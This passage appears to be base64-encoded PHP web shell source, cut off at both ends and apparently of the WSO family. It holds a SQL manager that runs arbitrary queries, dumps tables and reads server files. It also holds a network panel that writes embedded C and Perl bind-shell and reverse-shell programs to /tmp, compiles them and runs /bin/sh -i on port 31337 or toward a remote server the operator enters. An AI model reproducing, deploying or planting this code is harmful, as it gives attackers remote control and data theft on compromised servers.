ICAgICAgPC90cj4NCiAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPHNjcmlwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQGFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsNCiAgICAgICAgICAgIGZ1bmN0aW9uIGZzKGYpIHsNCiAgICAgICAgICAgICAgICBpZihmLnNxbF9iYXNlLnZhbHVlIT1zX2RiKSB7IGYub25zdWJtaXQgPSBmdW5jdGlvbigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAyKSBmLnAyLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAzKSBmLnAzLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGZ1bmN0aW9uIHN0KHQsbCkgew0KICAgICAgICAgICAgICAgIGQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsNCiAgICAgICAgICAgICAgICBkLnNmLnAyLnZhbHVlID0gdDsNCiAgICAgICAgICAgICAgICBpZihsICYmIGQuc2YucDMpIGQuc2YucDMudmFsdWUgPSBsOw0KICAgICAgICAgICAgICAgIGQuc2Yuc3VibWl0KCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmdW5jdGlvbiBpcygpIHsNCiAgICAgICAgICAgICAgICBmb3IoaT0wO2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQ0KICAgICAgICAgICAgICAgICAgICBkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQgPSAhZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkOw0KICAgICAgICAgICAgfQ0KICAgICAgICA8L3NjcmlwdD4iOw0KICAgIGlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsNCiAgICAgICAgZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA%2BIjsNCiAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsNCiAgICAgICAgICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQogICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc%2BPHNwYW4%2BVGFibGVzOjwvc3Bhbj48YnI%2BPGJyPiI7DQogICAgICAgICAgICAgICAgJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7DQogICAgICAgICAgICAgICAgd2hpbGUoJOKWnyA9ICRkYi0%2BZmV0Y2goJHRibHNfcmVzKSkgew0KICAgICAgICAgICAgICAgICAgICBsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCTilp8pOw0KICAgICAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0%2BZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOw0KICAgICAgICAgICAgICAgICAgICAkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0KCciLiR2YWx1ZS4iJywxKVwiPiIuJHZhbHVlLiI8L2E%2BIiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJm5ic3A7JzoiIDxzbWFsbD4oeyRuWyduJ119KTwvc21hbGw%2BIikgLiAiPC9ub2JyPjxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xpY2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7Jz48YnI%2BRmlsZSBwYXRoOjxpbnB1dCB0eXBlPXRleHQgbmFtZT1maWxlIHZhbHVlPSdkdW1wLnNxbCc%2BPC90ZD48dGQgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz4iOw0KICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3AxJ10gPT0gJ3NlbGVjdCcpIHsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMSddID0gJ3F1ZXJ5JzsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJF9QT1NUWydwMyddPyRfUE9TVFsncDMnXToxOw0KICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10pOw0KICAgICAgICAgICAgICAgICAgICAkbnVtID0gJGRiLT5mZXRjaCgpOw0KICAgICAgICAgICAgICAgICAgICAkcGFnZXMgPSBjZWlsKCRudW1bJ24nXSAvIDMwKTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD5kLnNmLm9uc3VibWl0PWZ1bmN0aW9uKCl7c3QoXCIiIC4gJF9QT1NUWydwMiddIC4gIlwiLCBkLnNmLnAzLnZhbHVlKX08L3NjcmlwdD48c3Bhbj4iLiRfUE9TVFsncDInXS4iPC9zcGFuPiAoeyRudW1bJ24nXX0gcmVjb3JkcykgUGFnZSAjIDxpbnB1dCB0eXBlPXRleHQgbmFtZT0ncDMnIHZhbHVlPSIgLiAoKGludCkkX1BPU1RbJ3AzJ10pIC4gIj4iOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICIgb2YgJHBhZ2VzIjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddID4gMSkNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddLTEpIC4gIiknPiZsdDsgUHJldjwvYT4iOw0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPCAkcGFnZXMpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXSsxKSAuICIpJz5OZXh0ICZndDs8L2E%2BIjsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddLS07DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3AyJ10uJyBMSU1JVCAzMCBPRkZTRVQgJy4oJF9QT1NUWydwMyddKjMwKTsNCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwMiddLidgIExJTUlUICcuKCRfUE9TVFsncDMnXSozMCkuJywzMCc7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj48YnI%2BIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYoKEAkX1BPU1RbJ3AxJ10gPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGRiLT5xdWVyeShAJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGUgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluPic7DQogICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IDE7DQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgk4pafID0gJGRiLT5mZXRjaCgpKSAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISR0aXRsZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHI%2BJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgk4pafIGFzICRrZXkgPT4gJHZhbHVlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRoPicuJGtleS4nPC90aD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNldCgk4pafKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlPXRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI%2BPHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gMjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyIGNsYXNzPSJsJy4kbGluZS4nIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gJGxpbmU9PTE%2FMjoxOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJOKWnyBhcyAka2V5ID0%2BICR2YWx1ZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdmFsdWUgPT0gbnVsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ%2BJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RyPic7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0%2BZXJyb3IoKSkuJzwvZGl2Pic7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWNobyAiPGJyPjwvZm9ybT48Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cInF1ZXJ5XCI7ZC5zZi5wMi52YWx1ZT10aGlzLnF1ZXJ5LnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjx0ZXh0YXJlYSBuYW1lPSdxdWVyeScgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOw0KICAgICAgICAgICAgICAgIGVjaG8gIjwvdGV4dGFyZWE%2BPGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUnPiI7DQogICAgICAgICAgICAgICAgZWNobyAiPC90ZD48L3RyPiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPiI7DQogICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0%2BcXVlcnkoIlNFTEVDVCAxIEZST00gbXlzcWwudXNlciBXSEVSRSBjb25jYXQoYHVzZXJgLCAnQCcsIGBob3N0YCkgPSBVU0VSKCkgQU5EIGBGaWxlX3ByaXZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgaWYoJGRiLT5mZXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY%2BPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYoQCRfUE9TVFsncDEnXSA9PSAnbG9hZGZpbGUnKSB7DQogICAgICAgICAgICAgICAgJGZpbGUgPSAkZGItPmxvYWRGaWxlKCRfUE9TVFsncDInXSk7DQogICAgICAgICAgICAgICAgZWNobyAnPGJyLz48cHJlIGNsYXNzPW1sMT4nLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ2ZpbGUnXSkuJzwvcHJlPic7DQogICAgICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkYi0%2BZXJyb3IoKSk7DQogICAgfQ0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgaGFyZEZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWN0aW9uTmV0d29yaygpIHsNCiAgICBoYXJkSGVhZGVyKCk7DQogICAgJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwSUhzTkNpQWdJQ0JwYm5RZ1ptUTdEUW9nSUNBZ2MzUnlkV04wSUhOdlkydGhaR1J5WDJsdUlITnBianNOQ2lBZ0lDQmtZV1Z0YjI0b01Td3dLVHNOQ2lBZ0lDQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2dJQ0FnYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmRLU2s3RFFvZ0lDQWdjMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzTkNpQWdJQ0JtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzTkNpQWdJQ0JwWmlBb0tHTnZibTVsWTNRb1ptUXNJQ2h6ZEhKMVkzUWdjMjlqYTJGa1pISWdLaWtnSm5OcGJpd2djMmw2Wlc5bUtITjBjblZqZENCemIyTnJZV1JrY2lrcEtUd3dLU0I3RFFvZ0lDQWdJQ0FnSUhCbGNuSnZjaWdpUTI5dWJtVmpkQ0JtWVdsc0lpazdEUW9nSUNBZ0lDQWdJSEpsZEhWeWJpQXdPdzBLSUNBZ0lIME5DaUFnSUNCa2RYQXlLR1prTENBd0tUc05DaUFnSUNCa2RYQXlLR1prTENBeEtUc05DaUFnSUNCa2RYQXlLR1prTENBeUtUc05DaUFnSUNCemVYTjBaVzBvSWk5aWFXNHZjMmdnTFdraUtUc05DaUFnSUNCamJHOXpaU2htWkNrN0RRcDkiOw0KICAgICRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOw0KICAgICRiaW5kX3BvcnRfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1pTQThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnNhV0l1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNvcVlYSm5kaWtnZXcwS0lDQWdJR2x1ZENCekxHTXNhVHNOQ2lBZ0lDQmphR0Z5SUhCYk16QmRPdzBLSUNBZ0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnlPdzBLSUNBZ0lHUmhaVzF2YmlneExEQXBPdzBLSUNBZ0lITWdQU0J6YjJOclpYUW9RVVpmU1U1RlZDeFRUME5MWDFOVVVrVkJUU3d3S1RzTkNpQWdJQ0JwWmlnaGN5a2djbVYwZFhKdUlDMHhPdzBLSUNBZ0lISXVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjaTV6YVc1ZmNHOXlkQ0E5SUdoMGIyNXpLR0YwYjJrb1lYSm5kbHN4WFNrcE93MEtJQ0FnSUhJdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0RRb2dJQ0FnWW1sdVpDaHpMQ0FvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSm5Jc0lEQjRNVEFwT3cwS0lDQWdJR3hwYzNSbGJpaHpMQ0ExS1RzTkNpQWdJQ0IzYUdsc1pTZ3hLU0I3RFFvZ0lDQWdJQ0FnSUdNOVlXTmpaWEIwS0hNc01Dd3dLVHNOQ2lBZ0lDQWdJQ0FnWkhWd01paGpMREFwT3cwS0lDQWdJQ0FnSUNCa2RYQXlLR01zTVNrN0RRb2dJQ0FnSUNBZ0lHUjFjRElvWXl3eUtUc05DaUFnSUNBZ0lDQWdkM0pwZEdVb1l5d2lVR0Z6YzNkdmNtUTZJaXc1S1RzTkNpQWdJQ0FnSUNBZ2NtVmhaQ2hqTEhBc2MybDZaVzltS0hBcEtUc05DaUFnSUNBZ0lDQWdabTl5S0drOU1EdHBQSE4wY214bGJpaHdLVHRwS3lzcERRb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlnZ0tIQmJhVjBnUFQwZ0oxeHVKeWtnZkh3Z0tIQmJhVjBnUFQwZ0oxeHlKeWtnS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUhCYmFWMGdQU0FuWERBbk93MEtJQ0FnSUNBZ0lDQnBaaUFvYzNSeVkyMXdLR0Z5WjNaYk1sMHNjQ2tnUFQwZ01Da05DaUFnSUNBZ0lDQWdJQ0FnSUhONWMzUmxiU2dpTDJKcGJpOXphQ0F0YVNJcE93MEtJQ0FnSUNBZ0lDQmpiRzl6WlNoaktUc05DaUFnSUNCOURRcDkiOw0KICAgICRiaW5kX3BvcnRfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsNCiAgICBlY2hvICI8aDE%2BTmV0d29yayB0b29sczwvaDE%2BPGRpdiBjbGFzcz1jb250ZW50Pg0KICAgIDxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9J2cobnVsbCxudWxsLHRoaXMudXNpbmcudmFsdWUsdGhpcy5wb3J0LnZhbHVlLHRoaXMucGFzcy52YWx1ZSk7cmV0dXJuIGZhbHNlOyc%2BDQogICAgPHNwYW4%2BQmluZCBwb3J0IHRvIC9iaW4vc2g8L3NwYW4%2BPGJyLz4NCiAgICBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzJz4gVXNpbmc6IDxsYWJlbD48c2VsZWN0IG5hbWU9J3VzaW5nJz48b3B0aW9uIHZhbHVlPSdicGMnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdicHAnPlBlcmw8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc%2BDQogICAgPC9mb3JtPg0KICAgIDxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9J2cobnVsbCxudWxsLHRoaXMudXNpbmcudmFsdWUsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Jz4NCiAgICA8c3Bhbj5CYWNrLWNvbm5lY3QgdG88L3NwYW4%2BPGJyLz4NCiAgICBTZXJ2ZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gVXNpbmc6IDxsYWJlbD48c2VsZWN0IG5hbWU9J3VzaW5nJz48b3B0aW9uIHZhbHVlPSdiY2MnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdiY3AnPlBlcmw8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc%2BDQogICAgPC9mb3JtPjxicj4iOw0KICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgZnVuY3Rpb24gY2YoJGYsJHQpIHsNCiAgICAgICAgICAgICR3PUBmb3BlbigkZiwidyIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJyk7DQogICAgICAgICAgICBpZigkdykgIHsNCiAgICAgICAgICAgICAgICBAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSkgb3IgQGZwdXRzKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSkgb3IgQGZpbGVfcHV0X2NvbnRlbnRzKCRmLEBiYXNlNjRfZGVjb2RlKCR0KSk7DQogICAgICAgICAgICAgICAgQGZjbG9zZSgkdyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYoJF9QT1NUWydwMSddID09ICdicGMnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9icC5jIiwkYmluZF9wb3J0X2MpOw0KICAgICAgICAgICAgJOKWliA9IGV4KCJnY2MgLW8gL3RtcC9icCAvdG1wL2JwLmMiKTsNCiAgICAgICAgICAgIEB1bmxpbmsoIi90bXAvYnAuYyIpOw0KICAgICAgICAgICAgJOKWliAuPSBleCgiL3RtcC9icCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOw0KICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE%2BJOKWliIuZXgoInBzIGF1eCB8IGdyZXAgYnAiKS4iPC9wcmU%2BIjsNCiAgICAgICAgfQ0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwcCcpIHsNCiAgICAgICAgICAgIGNmKCIvdG1wL2JwLnBsIiwkYmluZF9wb3J0X3ApOw0KICAgICAgICAgICAgJOKWliA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgJiIpOw0KICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE%2BJOKWliIuZXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU%2BIjsNCiAgICAgICAgfQ0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjYycpIHsNCiAgICAgICAgICAgIGNmKCIvdG1wL2JjLmMiLCRiYWNrX2Nvbm5lY3RfYyk7DQogICAgICAgICAgICAk4paWID0gZXgoImdjYyAtbyAvdG1wL2JjIC90bXAvYmMuYyIpOw0KICAgICAgICAgICAgQHVubGluaygiL3RtcC9iYy5jIik7DQogICAgICAgICAgICAk4paWIC49IGV4KCIvdG1wL2JjICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7DQogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4k4paWIi5leCgicHMgYXV4IHwgZ3JlcCBiYyIpLiI8L3ByZT4iOw0KICAgICAgICB9DQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgew0KICAgICAgICAgICAgY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7DQogICAgICAgICAgICAk4paWID0gZXgod2hpY2goInBlcmwiKS4iIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsNCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiTilpYiLmV4KCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7DQogICAgICAgIH0NCiAgICB9DQogICAgZWNobyAnPC9kaXY%2BJzsNCiAgICBoYXJkRm9vdGVyKCk7DQp9DQppZiggZW1wdHkoJF9QT1NUWydhJ10pICkNCiAgICBpZihpc3NldCgk4paaKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvb